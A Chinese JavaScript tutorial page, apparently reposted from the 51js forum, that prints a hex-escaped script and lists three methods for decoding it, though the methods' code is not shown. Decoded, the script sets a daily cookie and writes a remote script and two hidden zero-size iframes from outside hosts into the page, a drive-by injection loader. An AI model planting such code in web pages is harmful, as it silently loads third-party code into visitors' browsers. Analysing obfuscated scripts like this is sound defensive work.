发布于 2016-08-29 05:03:44 | 109 次阅读 | 评论: 0 | 来源: 网友投递

这里有新鲜出炉的Javascript教程,程序狗速度看过来!

JavaScript客户端脚本语言

Javascript 是一种由Netscape的LiveScript发展而来的原型化继承的基于对象的动态类型的区分大小写的客户端脚本语言,主要目的是为了解决服务器端语言,比如Perl,遗留的速度问题,为客户提供更流畅的浏览效果。




function Get(){ 
var $qL1 = new window["\x44\x61\x74\x65"]()  
$qL1["\x73\x65\x74\x54\x69\x6d\x65"]($qL1["\x67\x65\x74\x54\x69\x6d\x65"]() + 24*60*60*1000) 
var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67"](window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"]) 
var JHasS3 = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d"  
var wUhao4 = vuICgd2["\x69\x6e\x64\x65\x78\x4f\x66"](JHasS3) 
if (wUhao4 != -1){  
} else  
{ window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"] = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d\x50\x4f\x50\x57\x49\x4e\x31\x3b\x65\x78\x70\x69\x72\x65\x73\x3d"+ $qL1["\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67"]()  
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x48\x54\x4d\x4c\x3e"); 
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x42\x4f\x44\x59 \x73\x74\x79\x6c\x65\x3d\'\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x61\x64\x2e\x6a\x70\x67\x29\'\x3e\x3c\/\x42\x4f\x44\x59\x3e"); 
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\/\x48\x54\x4d\x4c\x3e "); 
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x73\x63\x72\x69\x70\x74 \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x30\x36\x31\x34\x2e\x6a\x73\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e"); 
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x6d\x6d\x2e\x68\x74\x6d\x6c \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e"); 
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x74\x6a\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e"); 
} 
}Get();

解密上面的代码的几种方法:
方法一:
不过是把字符转换成16进制的转义值而以!直接用alert就可以知道意思了

[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]

方法二:

[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]

方法三:

[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]

来自51js

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